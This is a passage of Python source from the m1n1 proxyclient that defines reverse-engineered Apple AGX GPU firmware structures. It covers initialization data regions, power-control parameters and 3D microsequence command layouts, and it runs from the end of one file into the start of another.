Default(Int64ul, 0), "stats_ta_addr" / Int64ul, "stats_ta" / ROPointer(this.stats_ta_addr, InitData_GPUGlobalStatsTA), "stats_3d_addr" / Int64ul, "stats_3d" / ROPointer(this.stats_3d_addr, InitData_GPUGlobalStats3D), "stats_cp_addr" / Int64ul, "stats_cp" / ROPointer(this.stats_cp_addr, Bytes(0x140)), "hwdata_a_addr" / Int64ul, "hwdata_a" / ROPointer(this.hwdata_a_addr, AGXHWDataA), "unkptr_190" / Int64ul, # size: 0x80, empty "unk_190" / ROPointer(this.unkptr_190, Bytes(0x80)), "unkptr_198" / Int64ul, # size: 0xc0, fw writes timestamps into this "unk_198" / ROPointer(this.unkptr_198, Bytes(0xc0)), "hwdata_b_addr" / Int64ul, # size: 0xb80, io stuff "hwdata_b" / ROPointer(this.hwdata_b_addr, AGXHWDataB), "hwdata_b_addr2" / Int64ul, # repeat of 1a0 "fwlog_ring2" / Int64ul, # "unkptr_1b8" / Int64ul, # Unallocated, Size 0x1000 "unk_1b8" / Lazy(ROPointer(this.unkptr_1b8, Bytes(0x1000))), Ver("G < G14X", "unkptr_1c0" / Int64ul), # Unallocated, size 0x300 Ver("G < G14X", "unk_1c0" / Lazy(ROPointer(this.unkptr_1c0, Bytes(0x300)))), Ver("G < G14X", "unkptr_1c8" / Int64ul), # Unallocated, unknown size Ver("G < G14X", "unk_1c8" / Lazy(ROPointer(this.unkptr_1c8, Bytes(0x1000)))), "unk_1d0" / Int32ul, "unk_1d4" / Int32ul, "unk_1d8" / HexDump(Bytes(0x3c)), "buffer_mgr_ctl_gpu_addr" / Int64ul, # Size: 0x4000 "buffer_mgr_ctl_addr" / Int64ul, # Size: 0x4000 "buffer_mgr_ctl" / ROPointer(this.buffer_mgr_ctl_addr, Array(127, BufferMgrCtl)), # Written to by DC_09 "unk_224" / HexDump(Bytes(0x685c)), "unk_6a80" / Int32ul, "gpu_idle" / Int32ul, "unkpad_6a88" / HexDump(Bytes(0x14)), "unk_6a9c" / Int32ul, "unk_ctr0" / Int32ul, "unk_ctr1" / Int32ul, "unk_6aa8" / Int32ul, "unk_6aac" / Int32ul, "unk_ctr2" / Int32ul, "unk_6ab4" / Int32ul, "unk_6ab8" / Int32ul, "unk_6abc" / Int32ul, "unk_6ac0" / Int32ul, "unk_6ac4" / Int32ul, "unk_ctr3" / Int32ul, "unk_6acc" / Int32ul, "unk_6ad0" / Int32ul, "unk_6ad4" / Int32ul, "unk_6ad8" / Int32ul, "unk_6adc" / Int32ul, "unk_6ae0" / Int32ul, "unk_6ae4" / Int32ul, "unk_6ae8" / Int32ul, "unk_6aec" / Int32ul, "unk_6af0" / Int32ul, "unk_ctr4" / Int32ul, "unk_ctr5" / Int32ul, "unk_6afc" / Int32ul, "pad_6b00" / HexDump(Bytes(0x38)), Ver("G >= G14X", "pad_6b00_extra" / HexDump(Bytes(0x4800))), "unk_6b38" / Int32ul, "pad_6b3c" / HexDump(Bytes(0x84)), ) def __init__(self): super().__init__() self.unk_1d0 = 0 self.unk_1d4 = 0 self.unk_1d8 = bytes(0x3c) self.unk_224 = bytes(0x685c) self.unkpad_6a88 = bytes(0x14) self.pad_6b00 = bytes(0x38) self.pad_6b00_extra = bytes(0x4800) self.unk_6b38 = 0xff self.pad_6b3c = bytes(0x84) def mon(self, add_fn): add_fn(self.unkptr_170, 0x140, "unkptr_170") add_fn(self.unkptr_178, 0x1c0, "unkptr_178") add_fn(self.unkptr_180, 0x140, "unkptr_180") add_fn(self.unkptr_188_addr, 0x3b80, "unkptr_188") add_fn(self.unkptr_190, 0x80, "unkptr_190") add_fn(self.unkptr_198_addr, 0xc0, "unkptr_198") add_fn(self.unkptr_1a0_addr, 0xb80, "unkptr_1a0") add_fn(self.fwlog_ring2, 0x51000, "fwlog_ring2") add_fn(self.unkptr_214, 0x4000, "unkptr_214") # Unallocated during init #add_fn(self.unkptr_1b8, 0x1000, "unkptr_1b8") #add_fn(self.unkptr_1c0, 0x300, "unkptr_1c0") #add_fn(self.unkptr_1c8, 0x1000, "unkptr_1c8") class InitData_PendingStamp(ConstructClass): subcon = Struct( "info" / Int32ul, "wait_value" / Int32ul, ) def __init__(self): super().__init__() self.info = 0 self.wait_value = 0 def __bool__(self): return bool(self.info or self.wait_value) class InitData_FaultInfo(ConstructClass): subcon = Struct( "unk_0" / Int32ul, "unk_4" / Int32ul, "queue_uuid" / Int32ul, "unk_c" / Int32ul, "unk_10" / Int32ul, "unk_14" / Int32ul, ) def __init__(self): super().__init__() self.unk_0 = 0 self.unk_4 = 0 self.queue_uuid = 0 self.unk_c = 0 self.unk_10 = 0 self.unk_14 = 0 class RCPowerZone(ConstructClass): subcon = Struct( "target" / Dec(Int32ul), "target_off" / Dec(Int32ul), "tc" / Dec(Int32ul), ) def __init__(self, tc=None, target=None, off=None): if tc is None: self.target = 0 self.target_off = 0 self.tc = 0 else: self.target = target self.target_off = self.target - off self.tc = tc class InitData_RegionC(ConstructClass): subcon = Struct( "ktrace_enable" / Int32ul, "unk_4" / HexDump(Bytes(0x20)), Ver("V >= V13_2", "unk_24_0" / Int32ul), "unk_24" / Int32ul, Ver("V >= V13_0B4", "debug" / Int32ul), Ver("V >= V13_3", "unk_28_4" / Int32ul), "unk_28" / Int32ul, Ver("V >= V13_0B4", "unk_2c_0" / Int32ul), "unk_2c" / Int32ul, "unk_30" / Int32ul, "unk_34" / Int32ul, "unk_38" / HexDump(Bytes(0x1c)), "unk_54" / Int16ul, "unk_56" / Int16ul, "unk_58" / Int16ul, "unk_5a" / Int32ul, "unk_5e" / Int32ul, "unk_62" / Int32ul, Ver("V >= V13_0B4", "unk_66_0" / HexDump(Bytes(0xc))), "unk_66" / Int32ul, "unk_6a" / HexDump(Bytes(0x16)), "unk_80" / HexDump(Bytes(0xf80)), "unk_1000" / HexDump(Bytes(0x7000)), "unk_8000" / HexDump(Bytes(0x900)), Ver("G >= G14X", "unk_8900_pad" / Default(HexDump(Bytes(0x484c)), bytes(0x484c))), Ver("V >= V13_0B4 && V < V13_2", "unk_8900_0" / Int32ul), Ver("V >= V13_3", "unk_8900_pad2" / Default(HexDump(Bytes(0x54)), bytes(0x54))), "unk_8900" / Int32ul, "unk_atomic" / Int32ul, "max_power" / Int32ul, "max_pstate_scaled" / Int32ul, "max_pstate_scaled_2" / Int32ul, "unk_8914" / Int32ul, "unk_8918" / Int32ul, "max_pstate_scaled_3" / Int32ul, "unk_8920" / Int32ul, "power_zone_count" / Int32ul, "avg_power_filter_tc_periods" / Int32ul, "avg_power_ki_dt" / Float32l, "avg_power_kp" / Float32l, "avg_power_min_duty_cycle" / Int32ul, "avg_power_target_filter_tc" / Int32ul, "power_zones" / Array(5, RCPowerZone), "unk_8978" / HexDump(Bytes(0x44)), Ver("V >= V13_0B4", "unk_89bc_0" / HexDump(Bytes(0x3c))), "unk_89bc" / Int32ul, "fast_die0_release_temp" / Int32ul, "unk_89c4" / Int32sl, "fast_die0_prop_tgt_delta" / Int32ul, "fast_die0_kp" / Float32l, "fast_die0_ki_dt" / Float32l, "unk_89d4" / HexDump(Bytes(0xc)), "unk_89e0" / Int32ul, "max_power_2" / Int32ul, "ppm_kp" / Float32l, "ppm_ki_dt" / Float32l, "unk_89f0" / Int32ul, Ver("V >= V13_0B4", "unk_89f4_0" / HexDump(Bytes(0x8))), Ver("V >= V13_0B4", "unk_89f4_8" / Int32ul), Ver("V >= V13_0B4", "unk_89f4_c" / HexDump(Bytes(0x50))), Ver("V >= V13_3", "unk_89f4_5c" / Default(HexDump(Bytes(0xc)), bytes(0xc))), "unk_89f4" / Int32ul, "hws1" / AGXHWDataShared1, "hws2" / AGXHWDataShared2, Ver("V >= V13_0B4", "unk_hws2_0" / Int32ul), Ver("V >= V13_0B4", "unk_hws2_4" / Array(8, Float32l)), Ver("V >= V13_0B4", "unk_hws2_24" / Int32ul), "unk_hws2_28" / Int32ul, "hws3" / AGXHWDataShared3, "unk_9004" / HexDump(Bytes(8)), "unk_900c" / Int32ul, Ver("V >= V13_0B4", "unk_9010_0" / Int32ul), Ver("V >= V13_0B4", "unk_9010_4" / HexDump(Bytes(0x14))), "unk_9010" / HexDump(Bytes(0x2c)), "unk_903c" / Int32ul, "unk_9040" / HexDump(Bytes(0xc0)), "unk_9100" / HexDump(Bytes(0x6f00)), "unk_10000" / HexDump(Bytes(0xe50)), "unk_10e50" / Int32ul, "unk_10e54" / HexDump(Bytes(0x2c)), Ver("G >= G14X && V < V13_3 || G <= G14 && V >= V13_3", "unk_x_pad" / ZPadding(4)), "fault_control" / Int32ul, "do_init" / Int32ul, "unk_10e88" / HexDump(Bytes(0x188)), "idle_ts" / Int64ul, "idle_unk" / Int64ul, "unk_11020" / Int32ul, "unk_11024" / Int32ul, "unk_11028" / Int32ul, Ver("V >= V13_0B4", "unk_1102c_0" / Int32ul), Ver("V >= V13_0B4", "unk_1102c_4" / Int32ul), Ver("V >= V13_0B4", "unk_1102c_8" / Dec(Int32ul)), Ver("V >= V13_0B4", "unk_1102c_c" / Int32ul), Ver("V >= V13_0B4", "unk_1102c_10" / Int32ul), "unk_1102c" / Int32ul, "idle_to_off_delay_ms" / Int32ul, "fender_idle_to_off_delay_ms" / Int32ul, "fw_early_wake_timeout_ms" / Int32ul, "pending_stamps" / Array(0x100, InitData_PendingStamp), "unkpad_ps" / ZPadding(0x80), "unk_117bc" / Int32ul, "fault_info" / InitData_FaultInfo, "counter" / Int32ul, "unk_118dc" / Int32ul, Ver("V >= V13_0B4", "unk_118e0_0" / HexDump(Bytes(0x9c))), Ver("G >= G14X", "unk_118e0_9c" / Default(HexDump(Bytes(0x580)), bytes(0x580))), Ver("V >= V13_3", "unk_118e0_9c_x" / Default(HexDump(Bytes(8)), bytes(8))), "unk_118e0" / Dec(Int32ul), Ver("V >= V13_0B4", "unk_118e4_0" / Dec(Int32ul)), "unk_118e4" / Int32ul, "unk_118e8" / Int32ul, "unk_118ec" / Array(0x400, Int8ul), "unk_11901" / HexDump(Bytes(0x54)), Ver("V >= V13_0B4", "unk_11d40" / HexDump(Bytes(0x19c))), Ver("V >= V13_0B4", "unk_11edc" / Int32ul), Ver("V >= V13_0B4", "unk_11ee0" / HexDump(Bytes(0x1c))), Ver("V >= V13_0B4", "unk_11efc" / Int32ul), Ver("V >= V13_3", "unk_11f00" / HexDump(Bytes(0x280))), ) def __init__(self, sgx, chip_info): period_ms = sgx.gpu_power_sample_period avg_power_filter_tc_periods = sgx.gpu_avg_power_filter_tc_ms // period_ms self.ktrace_enable = 0# 0xffffffff self.unk_4 = bytes(0x20) self.unk_24_0 = 3000 self.unk_24 = 0 self.debug = 0 self.unk_28_4 = 0 self.unk_28 = 1 if Ver.check("G >= G14X"): self.unk_2c_0 = 1 else: self.unk_2c_0 = 0 self.unk_2c = 1 self.unk_30 = 0 self.unk_34 = 120 self.unk_38 = bytes(0x1c) self.unk_54 = chip_info.rc_unk_54 self.unk_56 = 40 self.unk_58 = 0xffff self.unk_5a = 0 self.unk_5e = 1 self.unk_62 = 0 self.unk_66_0 = bytes(0xc) self.unk_66 = 1 self.unk_6a = bytes(0x16) self.unk_80 = bytes(0xf80) self.unk_1000 = bytes(0x7000) self.unk_8000 = bytes(0x900) self.unk_8900_0 = 0 self.unk_8900 = 1 # Accessed with OSIncrementAtomic/OSDecrementAtomic self.unk_atomic = 0 self.max_power = chip_info.max_power self.max_pstate_scaled = 100 * sgx.gpu_num_perf_states self.max_pstate_scaled_2 = 100 * sgx.gpu_num_perf_states self.unk_8914 = 0 self.unk_8918 = 0 self.max_pstate_scaled_3 = 100 * sgx.gpu_num_perf_states self.unk_8920 = 0 self.power_zones = [RCPowerZone()] * 5 power_zone_count = 0 for i in range(5): if sgx.getprop(f"gpu-power-zone-target-{i}", None) is None: break self.power_zones[i] = RCPowerZone( sgx.getprop(f"gpu-power-zone-filter-tc-{i}", None), sgx.getprop(f"gpu-power-zone-target-{i}", None), sgx.getprop(f"gpu-power-zone-target-offset-{i}", None), ) power_zone_count += 1 self.power_zone_count = power_zone_count self.avg_power_filter_tc_periods = avg_power_filter_tc_periods self.avg_power_ki_dt = sgx.gpu_avg_power_ki_only * (period_ms / 1000) self.avg_power_kp = sgx.gpu_avg_power_kp self.avg_power_min_duty_cycle = sgx.gpu_avg_power_min_duty_cycle self.avg_power_target_filter_tc = sgx.gpu_avg_power_target_filter_tc self.unk_8978 = bytes(0x44) self.unk_89bc_0 = bytes(0x3c) self.unk_89bc = chip_info.unk_8cc self.fast_die0_release_temp = 100 * sgx.getprop("gpu-fast-die0-release-temp", 80) self.unk_89c4 = chip_info.unk_87c self.fast_die0_prop_tgt_delta = 100 * sgx.getprop("gpu-fast-die0-prop-tgt-delta", 0) self.fast_die0_kp = sgx.gpu_fast_die0_proportional_gain self.fast_die0_ki_dt = sgx.gpu_fast_die0_integral_gain * (period_ms / 1000) self.unk_89d4 = bytes(0xc) self.unk_89e0 = 1 self.max_power_2 = chip_info.max_power self.ppm_kp = sgx.gpu_ppm_kp self.ppm_ki_dt = sgx.gpu_ppm_ki * (period_ms / 1000) self.unk_89f0 = 0 self.unk_89f4_0 = bytes(8) self.unk_89f4_8 = 1 self.unk_89f4_c = bytes(0x50) self.unk_89f4 = 0 self.hws1 = AGXHWDataShared1(chip_info) self.hws2 = AGXHWDataShared2(sgx, chip_info) self.unk_hws2_0 = chip_info.unk_hws2_0 self.unk_hws2_4 = chip_info.unk_hws2_4 self.unk_hws2_24 = chip_info.unk_hws2_24 self.unk_hws2_28 = 0 self.hws3 = AGXHWDataShared3(chip_info) self.unk_9004 = bytes(8) self.unk_900c = 1 self.unk_9010_0 = 1 self.unk_9010_4 = bytes(0x14) self.unk_9010 = bytes(0x2c) if Ver.check("V >= V13_0B4"): self.unk_903c = 1 else: self.unk_903c = 0 self.unk_9040 = bytes(0xc0) self.unk_9100 = bytes(0x6f00) self.unk_10000 = bytes(0xe50) self.unk_10e50 = 0 self.unk_10e54 = bytes(0x2c) self.unk_10e80_0 = bytes(0xed4) self.unk_10e80_ed0 = 0 self.unk_10e80_ed4 = bytes(0x2c) #self.fault_control = 0xb self.fault_control = 0 self.do_init = 1 self.unk_10e88 = bytes(0x188) self.idle_ts = 0 self.idle_unk = 0 self.unk_11020 = 40 self.unk_11024 = 10 self.unk_11028 = 250 self.unk_1102c_0 = 1 self.unk_1102c_4 = 1 self.unk_1102c_8 = 100 self.unk_1102c_c = 1 self.unk_1102c_10 = 0 self.unk_1102c = 0 self.idle_to_off_delay_ms = sgx.getprop("gpu-idle-off-delay-ms", 2) self.fender_idle_to_off_delay_ms = sgx.getprop("gpu-fender-idle-off-delay-ms", 40) self.fw_early_wake_timeout_ms = sgx.getprop("gpu-fw-early-wake-timeout-ms", 5) self.pending_stamps = [InitData_PendingStamp() for i in range(0x100)] self.unk_117bc = 0 self.fault_info = InitData_FaultInfo() self.counter = 0 self.unk_118dc = 0 self.unk_118e0_0 = bytes(0x9c) self.unk_118e0 = 40 self.unk_118e4_0 = 50 self.unk_118e4 = 0 self.unk_118e8 = 0 if chip_info.unk_118ec is None else 1 self.unk_118ec = chip_info.unk_118ec or [] self.unk_118ec += [0] * (1024 - len(self.unk_118ec)) self.unk_11901 = bytes(0x54) self.unk_11d40 = bytes(0x19c) self.unk_11edc = 0 self.unk_11ee0 = bytes(0x1c) self.unk_11efc = 0 self.unk_11f00 = bytes(0x280) class UatLevelInfo(ConstructClass): subcon = Struct( "unk_3" / Int8ul, # always 8 "unk_1" / Int8ul, # always 14, page bits? "unk_2" / Int8ul, # always 14, also page bits? "index_shift" / Int8ul, "num_entries" / Int16ul, "unk_4" / Int16ul, # 0x4000, Table size? "unk_8" / Int64ul, # always 1 "phys_mask" / Int64ul, "index_mask" / Int64ul, ) def __init__(self, index_shift, num_entries, phys_mask): self.index_shift = index_shift self.unk_1 = 14 self.unk_2 = 14 self.unk_3 = 8 self.unk_4 = 0x4000 # I doubt anything other than 16k pages is supported self.num_entries = num_entries self.unk_8 = 1 self.phys_mask = phys_mask self.index_mask = (num_entries - 1) << index_shift class InitData(ConstructClass): subcon = Struct( Ver("V >= V13_0B4", "ver_info" / Array(4, Int16ul)), "regionA_addr" / Int64ul, # allocation size: 0x4000 "regionA" / ROPointer(this.regionA_addr, HexDump(Bytes(0x4000))), "unk_8" / Default(Int32ul, 0), "unk_c"/ Default(Int32ul, 0), "regionB_addr" / Int64ul, # 0xfa00c338000 allocation size: 0x6bc0 "regionB" / ROPointer(this.regionB_addr, InitData_RegionB), "regionC_addr" / Int64ul, # 0xfa000200000 allocation size: 0x11d40, heap? "regionC" / ROPointer(this.regionC_addr, InitData_RegionC), "fw_status_addr" / Int64ul, # allocation size: 0x4000, but probably only 0x80 bytes long "fw_status" / ROPointer(this.fw_status_addr, InitData_FWStatus), "uat_page_size" / Int16ul, "uat_page_bits" / Int8ul, "uat_num_levels" / Int8ul, "uat_level_info" / Array(3, UatLevelInfo), "pad_8c" / HexDump(Default(Bytes(0x14), bytes(0x14))), "host_mapped_fw_allocations" / Int32ul, # must be 1 "unk_ac" / Int32ul, "unk_b0" / Int32ul, "unk_b4" / Int32ul, "unk_b8" / Int32ul, ) def __init__(self): super().__init__() self.unk_ac = 0 self.unk_b0 = 0 self.unk_b4 = 0 self.unk_b8 = 0 __all__.extend(k for k, v in globals().items() if (callable(v) or isinstance(v, type)) and v.__module__ == __name__) m1n1-1.4.11/proxyclient/m1n1/fw/agx/microsequence.py000066400000000000000000001102411453754430200221230ustar00rootroot00000000000000""" I think these are executed by a simple state machine on the firmware's arm core, and the typical result is a commandlist submitting to one of the gpu's hardware command processors. It seems like a common pattern is: 1. Start (3D or Compute) 2. Timestamp 3. Wait For Interrupts 4. Timestamp again 5. Finish (3D or Compute) 6. End Error messages call these as SKU commands """ from m1n1.constructutils import * from construct import * from construct.core import Int64ul, Int32ul, Int32sl import textwrap __all__ = [] class TimeStamp(ConstructValueClass): subcon = Int64ul def __init__(self, value=0): self.value = value class TsFlag(ConstructValueClass): subcon = Int8ul def __init__(self, value=0): self.value = value class WrappedPointer(ConstructValueClass): subcon = Int64ul def __init__(self, value=0): self.value = value class StampCounter(ConstructValueClass): subcon = Hex(Int32ul) def __init__(self): self.value = 0 class BufferManagerBlockControl(ConstructClass): subcon = Struct( "total" / Int32ul, "wptr" / Int32ul, "unk" / Int32ul, "pad" / ZPadding(0x34) ) class BufferManagerCounter(ConstructClass): subcon = Struct( "count" / Int32ul, "pad" / ZPadding(0x3c) ) class BufferManagerMisc(ConstructClass): subcon = Struct( "gpu_0" / Default(Int32ul, 0), "gpu_4" / Default(Int32ul, 0), "gpu_8" / Default(Int32ul, 0), "gpu_c" / Default(Int32ul, 0), "pad_10" / ZPadding(0x10), "cpu_flag" / Int32ul, "pad_24" / ZPadding(0x1c), ) class BufferManagerInfo(ConstructClass): subcon = Struct( "gpu_counter" / Int32ul, "unk_4" / Int32ul, "last_id" / Int32ul, "cur_id" / Int32ul, "unk_10" / Int32ul, "gpu_counter2" / Int32ul, "unk_18" / Int32ul, Ver("V < V13_0B4 || G >= G14X", "unk_1c" / Int32ul), "page_list_addr" / Int64ul, "page_list_size" / Int32ul, "page_count" / Int32ul, "unk_30" / Int32ul, "block_count" / Int32ul, "unk_38" / Int32ul, "block_list_addr" / Int64ul, "block_ctl_addr" / Int64ul, # points to two u32s "block_ctl" / ROPointer(this.block_ctl_addr, BufferManagerBlockControl), "last_page" / Int32ul, "gpu_page_ptr1" / Int32ul, "gpu_page_ptr2" / Int32ul, "unk_58" / Int32ul, "block_size" / Int32ul, "unk_60" / Int64ul, "counter_addr" / Int64ul, "counter" / ROPointer(this.counter_addr, BufferManagerCounter), "unk_70" / Int32ul, "unk_74" / Int32ul, "unk_78" / Int32ul, "unk_7c" / Int32ul, "unk_80" / Int32ul, "unk_84" / Int32ul, "unk_88" / Int32ul, "unk_8c" / Int32ul, "unk_90" / HexDump(Bytes(0x30)), ) def __init__(self): super().__init__() self.gpu_counter = 0x0 self.unk_4 = 0 self.last_id = 0x0 self.cur_id = 0xffffffff self.unk_10 = 0x0 self.gpu_counter2 = 0x0 self.unk_18 = 0x0 self.unk_1c = 0x0 self.unk_30 = 0xd1a self.unk_38 = 0x0 self.gpu_page_ptr1 = 0x0 self.gpu_page_ptr2 = 0x0 self.unk_58 = 0x0 self.unk_60 = 0x0 self.unk_70 = 0x0 self.unk_74 = 0x0 self.unk_78 = 0x0 self.unk_7c = 0x0 self.unk_80 = 0x1 self.unk_84 = 0x66cc self.unk_88 = 0x2244 self.unk_8c = 0x0 self.unk_90 = bytes(0x30) class RegisterDefinition(ConstructClass): subcon = Struct( "number" / Int32ul, "data" / Int64ul, ) def __init__(self, number, data): super().__init__() self.number = number self.data = data class Start3DClearPipelineBinding(ConstructClass): subcon = Struct( "pipeline_bind" / Int64ul, "address" / Int64ul, ) def __init__(self, pipeline_bind=None, address=None): super().__init__() self.pipeline_bind = pipeline_bind self.address = address class Start3DStorePipelineBinding(ConstructClass): subcon = Struct( "unk_0" / Int64ul, "unk_8" / Int32ul, "pipeline_bind" / Int32ul, "unk_10" / Int32ul, "address" / Int32ul, "unk_18" / Int32ul, "unk_1c_padding" / Int32ul, ) def __init__(self, pipeline_bind=None, address=None): super().__init__() self.unk_0 = 0 self.unk_8 = 0 self.pipeline_bind = pipeline_bind self.unk_10 = 0 self.address = address self.unk_18 = 0 self.unk_1c_padding = 0 class Start3DArrayAddr(ConstructClass): subcon = Struct( "ptr" / Int64ul, "unk_padding" / Int64ul, ) def __init__(self, ptr=None): super().__init__() self.ptr = ptr self.unk_padding = 0 class AuxFBInfo(ConstructClass): subcon = Struct( "unk1" / Int32ul, "unk2" / Int32ul, "width" / Dec(Int32ul), "height" / Dec(Int32ul), Ver("V >= V13_0B4", "unk3" / Int64ul), ) def __init__(self, unk1, unk2, width, height): super().__init__() self.unk1 = unk1 self.unk2 = unk2 self.width = width self.height = height self.unk3 = 0x100000 class Start3DStruct1(ConstructClass): subcon = Struct( "store_pipeline_bind" / Int32ul, # 0x12, 0x34 seen "store_pipeline_addr" / Int32ul, "unk_8" / Int32ul, "unk_c" / Int32ul, "merge_upper_x" / Float32l, "merge_upper_y" / Float32l, "unk_18" / Int64ul, "tile_blocks_y" / Int16ul, # * 4 "tile_blocks_x" / Int16ul, # * 4 "unk_24" / Int32ul, "tile_counts" / Int32ul, "unk_2c" / Int32ul, "depth_clear_val1" / Float32l, "stencil_clear_val1" / Int8ul, "unk_35" / Int8ul, "unk_36" / Int16ul, "unk_38" / Int32ul, "unk_3c" / Int32ul, "unk_40" / Int32ul, "unk_44_padding" / HexDump(Bytes(0x9c)), ) class Start3DStruct2(ConstructClass): subcon = Struct( "unk_0" / Int64ul, "clear_pipeline" / Start3DClearPipelineBinding, "unk_18" / Int64ul, "scissor_array" / Int64ul, "depth_bias_array" / Int64ul, "aux_fb" / AuxFBInfo, "depth_dimensions" / Int64ul, "visibility_result_buffer" / Int64ul, "depth_flags" / Int64ul, # 0x40000 - has stencil 0x80000 - has depth Ver("G >= G14", "unk_58_g14_0" / Int64ul), Ver("G >= G14", "unk_58_g14_8" / Int64ul), "depth_buffer_ptr1" / Int64ul, "depth_buffer_ptr2" / Int64ul, "stencil_buffer_ptr1" / Int64ul, "stencil_buffer_ptr2" / Int64ul, Ver("G >= G14", "unk_68_g14_0" / HexDump(Bytes(0x20))), "unk_78" / Array(4, Int64ul), "depth_aux_buffer_ptr1" / Int64ul, "unk_a0" / Int64ul, "depth_aux_buffer_ptr2" / Int64ul, "unk_b0" / Int64ul, "stencil_aux_buffer_ptr1" / Int64ul, "unk_c0" / Int64ul, "stencil_aux_buffer_ptr2" / Int64ul, "unk_d0" / Int64ul, "tvb_tilemap" / Int64ul, "tvb_heapmeta_addr" / Int64ul, "unk_e8" / Int64ul, "tvb_heapmeta_addr2" / Int64ul, "unk_f8" / Int64ul, "aux_fb_ptr" / Int64ul, "unk_108" / Array(6, Int64ul), "pipeline_base" / Int64ul, "unk_140" / Int64ul, "helper_program" / Int32ul, # bit 0: enable "unk_14c" / Int32ul, # 0 "helper_arg" / Int64ul, # stack layout "unk_158" / Int64ul, "unk_160" / Int64ul, Ver("G < G14", "unk_168_padding" / HexDump(Bytes(0x1d8))), Ver("G >= G14", "unk_198_padding" / HexDump(Bytes(0x1a8))), Ver("V < V13_0B4", ZPadding(8)), ) class Start3DStruct3(ConstructClass): subcon = Struct( "registers_addr" / Int64ul, "register_count" / Int16ul, "registers_length" / Int16ul, "unk_d8" / Int32ul, "depth_bias_array" / Start3DArrayAddr, "scissor_array" / Start3DArrayAddr, "visibility_result_buffer" / Int64ul, "unk_118" / Int64ul, "unk_120" / Array(37, Int64ul), "unk_reload_pipeline" / Start3DClearPipelineBinding, "unk_258" / Int64ul, "unk_260" / Int64ul, "unk_268" / Int64ul, "unk_270" / Int64ul, "reload_pipeline" / Start3DClearPipelineBinding, "depth_flags" / Int64ul, # 0x40000 - has stencil 0x80000 - has depth "unk_290" / Int64ul, "depth_buffer_ptr1" / Int64ul, "unk_2a0" / Int64ul, "unk_2a8" / Int64ul, "depth_buffer_ptr2" / Int64ul, "depth_buffer_ptr3" / Int64ul, "depth_aux_buffer_ptr" / Int64ul, "stencil_buffer_ptr1" / Int64ul, "unk_2d0" / Int64ul, "unk_2d8" / Int64ul, "stencil_buffer_ptr2" / Int64ul, "stencil_buffer_ptr3" / Int64ul, "stencil_aux_buffer_ptr" / Int64ul, "unk_2f8" / Array(2, Int64ul), "aux_fb_unk0" / Int32ul, "unk_30c" / Int32ul, "aux_fb" / AuxFBInfo, "s2_unk_f8" / Int32ul, "unk_324_padding" / HexDump(Bytes(0xc)), "unk_partial_store_pipeline" / Start3DStorePipelineBinding, "partial_store_pipeline" / Start3DStorePipelineBinding, "depth_clear_val2" / Float32l, "stencil_clear_val2" / Int8ul, "unk_375" / Int8ul, "unk_376" / Int16ul, "unk_378" / Int32ul, "unk_37c" / Int32ul, "unk_380" / Int64ul, "unk_388" / Int64ul, Ver("V >= V13_0B4", "unk_390_0" / Int64ul), "depth_dimensions" / Int64ul, ) class BufferThing(ConstructClass): subcon = Struct( Ver("G >= G14X", "unk0_addr" / Int64ul), Ver("G >= G14X", "unk0_addr2" / Int64ul), # Ver("G >= G14X", "unk0" / ROPointer(this.unk0_addr, Array(8, Int32ul))), "unk_0" / Int64ul, "unk_8" / Int64ul, "unk_10" / Int64ul, "unkptr_18" / Int64ul, "unk_20" / Int32ul, Ver("V >= V13_3", "unk_28" / Int64ul), "bm_misc_addr" / Int64ul, "bm_misc" / ROPointer(this.bm_misc_addr, BufferManagerMisc), "unk_2c" / Int32ul, Ver("G < G14X", "unk_30" / Int64ul), Ver("G < G14X", "unk_38" / Int64ul), ) class Start3DStruct6(ConstructClass): subcon = Struct( "tvb_overflow_count" / Int64ul, "unk_8" / Int32ul, "unk_c" / Int32ul, "unk_10" / Int32ul, "encoder_id" / Int64ul, "unk_1c" / Int32ul, "unknown_buffer" / Int64ul, "unk_28" / Int64ul, "unk_30" / Int32ul, "unk_34" / Int32ul, "unk_38" / Int32ul, ) class Start3DStruct7(ConstructClass): subcon = Struct( Ver("V >= V13_3", "unk_0_0" / Int32ul), "unk_0" / Int64ul, "stamp1_addr" / WrappedPointer, # same contents as below "stamp1" / ROPointer(this.stamp1_addr.value, StampCounter), "stamp2_addr" / WrappedPointer, # same as FinalizeComputeCmd.stamp - some kind of fence/token "stamp2" / ROPointer(this.stamp2_addr.value, StampCounter), "stamp_value" / Int32ul, "ev_3d" / Int32ul, "evctl_index" / Int32ul, "unk_24" / Int32ul, "uuid" / Int32ul, "queue_cmd_count" / Int32ul, "unk_30" / Int32ul, ) def __init__(self): super().__init__() self.stamp1_addr = StampCounter() self.stamp2_addr = StampCounter() class Attachment(ConstructClass): subcon = Struct( "address" / Int64ul, "size" / Int32ul, "unk_c" / Int16ul, "unk_e" / Int16ul, ) def __init__(self, addr, size, unk_c, unk_e): self.address = addr self.size = size self.unk_c = unk_c self.unk_e = unk_e class Start3DCmd(ConstructClass): subcon = Struct( # 0x194 bytes'''' "magic" / Const(0x24, Int32ul), "struct1_addr" / Int64ul, # empty before run. Output? WorkCommand3D + 0x3c0 "struct2_addr" / Int64ul, # ?? WorkCommand3D + 0x78 Ver("G >= G14X", "registers_addr" / Int64ul), "buf_thing_addr" / Int64ul, "buf_thing" / ROPointer(this.buf_thing_addr, BufferThing), "stats_ptr" / Int64ul, "busy_flag_ptr" / Int64ul, # 4 bytes "struct6_addr" / Int64ul, # 0x3c bytes "struct6" / ROPointer(this.struct6_addr, Start3DStruct6), "struct7_addr" / Int64ul, # 0x34 bytes "struct7" / ROPointer(this.struct7_addr, Start3DStruct7), "cmdqueue_ptr" / Int64ul, # points back to the CommandQueueInfo that this command came from "workitem_ptr" / Int64ul, # points back at the WorkItem that this command came from "context_id" / Int32ul, "unk_50" / Int32ul, "submission_id" / Int32ul, "buffer_mgr_slot" / Int32ul, "unk_5c" / Int32ul, "queue_cmd_count" / Int64ul, # 0 "unk_68" / Int32ul, # 0 "unk_buf_ptr" / Int64ul, "unk_buf2_ptr" / Int64ul, # 0x18 bytes Ver("V >= V13_3", "unk_7c_0" / Int64ul), "unk_7c" / Int32ul, "unk_80" / Int32ul, "unk_84" / Int32ul, "uuid" / Int32ul, # uuid for tracking "attachments" / Array(16, Attachment), "num_attachments" / Int32ul, "unk_190" / Int32ul, Ver("V >= V13_0B4", "counter" / Int64ul), Ver("V >= V13_0B4", "unkptr_19c" / Int64ul), ) class Finalize3DCmd(ConstructClass): subcon = Struct( # 0x9c bytes "magic" / Const(0x25, Int32ul), "uuid" / Int32ul, # uuid for tracking "unk_8" / Int32ul, # 0 "stamp_addr" / Int64ul, 